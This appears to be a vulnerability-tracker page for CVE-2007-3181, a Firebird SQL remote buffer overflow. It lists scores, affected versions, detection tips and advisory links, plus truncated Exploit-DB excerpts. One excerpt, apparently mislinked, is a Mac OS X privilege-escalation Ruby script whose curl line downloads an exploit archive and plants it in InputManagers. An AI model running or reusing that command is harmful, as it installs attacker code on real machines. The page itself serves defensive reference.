CVE-2007-3181
published 2007-06-12CVE-2007-3181: Buffer overflow in fbserver.exe in Firebird SQL 2 before 2.0.1 allows remote attackers to execute arbitrary code via a large p_cnct_count value in a p_cnct…
PriorityP258critical10CVSS 2.0
AVNACLAuNCCICAC
EXPLOIT
EPSS
13.21%
95.9th percentile
Buffer overflow in fbserver.exe in Firebird SQL 2 before 2.0.1 allows remote attackers to execute arbitrary code via a large p_cnct_count value in a p_cnct structure in a connect (0x01) request to port 3050/tcp, related to "an InterBase version of gds32.dll."
Affected
2 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| bakbone | netvault | — | — |
| firebirdsql | firebird | <= 2.0.0 | — |
Detection & IOCsextracted from sources · hover to see the quote
- →Monitor for abnormally large p_cnct_count values in Firebird connect (opcode 0x01) requests on port 3050/tcp; the p_cnct_versions array only supports 10 entries, so a p_cnct_count exceeding 10 is anomalous and indicative of exploitation. ↗
- →Inspect Firebird protocol traffic on 3050/tcp for connect requests (opcode 0x01) where the p_cnct_count field value is larger than 10 (the fixed array size of p_cnct_versions[10]), which triggers the buffer overflow in fbserver.exe. ↗
- →Unexpected crashes or restarts of fbserver.exe following inbound connections on 3050/tcp may indicate failed exploitation attempts (denial of service). ↗
- ·Only Firebird SQL 2.0 (before 2.0.1) is confirmed vulnerable; the fix is to upgrade to 2.0.1 or later. Previous versions may also be affected. ↗
- ·The vulnerability is specifically in fbserver.exe and is related to the InterBase version of gds32.dll; deployments using these components on exposed port 3050/tcp are at risk. ↗
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Firebird SQL Fbserver 2.0 - Remote Buffer Overflow
exploitdb·2007-06-12
CVE-2007-3181 Firebird SQL Fbserver 2.0 - Remote Buffer Overflow
Firebird SQL Fbserver 2.0 - Remote Buffer Overflow
---
source: https://www.securityfocus.com/bid/24436/info
Firebird SQL is prone to a remote buffer-overflow vulnerability.
An attacker can exploit this issue to execute arbitrary machine code in the context of the affected database server. Failed exploit attempts will likely crash the server, denying service to legitimate users.
Firebird SQL 2.0 is vulnerable; previous versions may also be affected.
typedef struct p_cnct
{
P_OP p_cnct_operation; /* OP_CREATE or OP_OPEN */
USHORT p_cnct_cversion; /* Version of connect protocol */
P_ARCH p_cnct_client; /* Architecture of client */
CSTRING p_cnct_file; /* File name */
USHORT p_cnct_count; /* Protocol versions understood */
CSTRING p_cnct_user_id; /* User identification stuff */
struct p_
Exploit-DB
Apple Mac OSX 10.4.8 - 'UserNotificationCenter' Local Privilege Escalation
exploitdb·2007-01-23
CVE-2007-0023 Apple Mac OSX 10.4.8 - 'UserNotificationCenter' Local Privilege Escalation
Apple Mac OSX 10.4.8 - 'UserNotificationCenter' Local Privilege Escalation
---
#!/usr/bin/ruby
# Copyright (c) 2007 Kevin Finisterre
# Lance M. Havok
# All pwnage reserved.
#
# "Exploit" for MOAB-22-01-2007: All your crash are belong to us.
#
require 'fileutils'
bugselected = (ARGV[0] || 0).to_i
# INPUTMANAGER_URL = "http://projects.info-pull.com/moab/bug-files/MOAB-22-01-2007_im.tar.gz"
# keeping a local backup. /str0ke
INPUTMANAGER_URL = "https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/3181.tar.gz"
INPUTMANAGER_PLANT = "/usr/bin/curl -o /tmp/moab_im.tar.gz #{INPUTMANAGER_URL};" +
"mkdir -p ~/Library/InputManagers/;" +
"cd ~/Library/InputManagers/;" +
"tar -zxvf /tmp/moab_im.tar.gz"
case bugselected
when 0
target_url = "http://projects.info-pull.com/
No writeups or analysis indexed.
http://dvlabs.tippingpoint.com/advisory/TPTI-07-11http://osvdb.org/37231http://secunia.com/advisories/25601http://secunia.com/advisories/25872http://secunia.com/advisories/29501http://security.gentoo.org/glsa/glsa-200707-01.xmlhttp://www.debian.org/security/2008/dsa-1529http://www.firebirdsql.org/rlsnotes/Firebird-2.0.1-ReleaseNotes.pdfhttp://www.securityfocus.com/bid/24436http://www.vupen.com/english/advisories/2007/2149https://exchange.xforce.ibmcloud.com/vulnerabilities/34833http://dvlabs.tippingpoint.com/advisory/TPTI-07-11http://osvdb.org/37231http://secunia.com/advisories/25601http://secunia.com/advisories/25872http://secunia.com/advisories/29501http://security.gentoo.org/glsa/glsa-200707-01.xmlhttp://www.debian.org/security/2008/dsa-1529http://www.firebirdsql.org/rlsnotes/Firebird-2.0.1-ReleaseNotes.pdfhttp://www.securityfocus.com/bid/24436http://www.vupen.com/english/advisories/2007/2149https://exchange.xforce.ibmcloud.com/vulnerabilities/34833
2007-06-12
Published